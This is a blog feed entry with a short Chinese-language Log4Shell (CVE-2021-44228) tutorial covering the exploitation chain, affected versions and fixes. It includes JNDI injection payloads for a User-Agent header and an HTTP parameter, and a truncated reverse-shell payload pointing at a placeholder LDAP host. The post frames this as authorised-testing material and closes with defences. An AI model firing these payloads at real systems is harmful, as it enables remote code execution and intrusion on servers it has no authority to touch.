https://souljian.cn/tags/log4shell/Recent content in Log4Shell on SoulJian小站Hugo -- gohugo.ioen-usSun, 30 Aug 2026 10:00:00 +0800https://souljian.cn/p/751088186/Sat, 29 Aug 2026 14:00:00 +0800https://souljian.cn/p/751088186/<h2 id="写在前面合法学习边界">写在前面：合法学习边界 </h2><p>Log4j2 攻击只在授权测试环境进行。</p> <h2 id="一log4j2-rce-利用链">一、Log4j2 RCE 利用链 </h2><img src="https://souljian.cn/img/log4j2-chain.svg" alt="Log4j2 RCE 利用链" /> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">① 发现 Log4j2 → ② 注入 ${jndi:} → ③ JNDI 查找 → ④ 加载恶意类 → ⑤ RCE </span></span></code></pre></td></tr></table> </div> </div><h2 id="二漏洞信息">二、漏洞信息 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">CVE-2021-44228（RCE）· CVE-2021-45046（DoS） </span></span><span class="line"><span class="cl">影响：Log4j 2.0 ~ 2.14.1 </span></span><span class="line"><span class="cl">入口：任何输入经过 Logger 的地方 </span></span></code></pre></td></tr></table> </div> </div><h2 id="三利用方式">三、利用方式 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span><span class="lnt">8 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Tomcat 请求头</span> </span></span><span class="line"><span class="cl">User-Agent: <span class="si">${</span><span class="nv">jndi</span><span class="p">:</span><span class="nv">ldap</span><span class="p">://xxx/a</span><span class="si">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># HTTP 参数</span> </span></span><span class="line"><span class="cl">?id<span class="o">=</span><span class="si">${</span><span class="nv">jndi</span><span class="p">:</span><span class="nv">ldap</span><span class="p">://xxx/a</span><span class="si">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># 反弹 Shell</span> </span></span><span class="line"><span class="cl"><span class="si">${</span><span class="nv">jndi</span><span class="p">:</span><span class="nv">ldap</span><span class="p">://xxx/Command/Base64/</span><span class="k">$(</span>bash -i ...<span class="k">)</span><span class="si">}</span> </span></span></code></pre></td></tr></table> </div> </div><h2 id="四防御加固">四、防御加固 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">升级到 Log4j 2.17.1+ </span></span><span class="line"><span class="cl">设置 -Dlog4j2.formatMsgNoLookups=true </span></span><span class="line"><span class="cl">WAF 拦截 ${jndi 特征 </span></span></code></pre></td></tr></table> </div> </div><h2 id="五小结">五、小结 </h2><p>Log4Shell 是 Java 生态最严重的漏洞。<strong>升级到 2.17.1+</strong> 是唯一有效的防御。</p>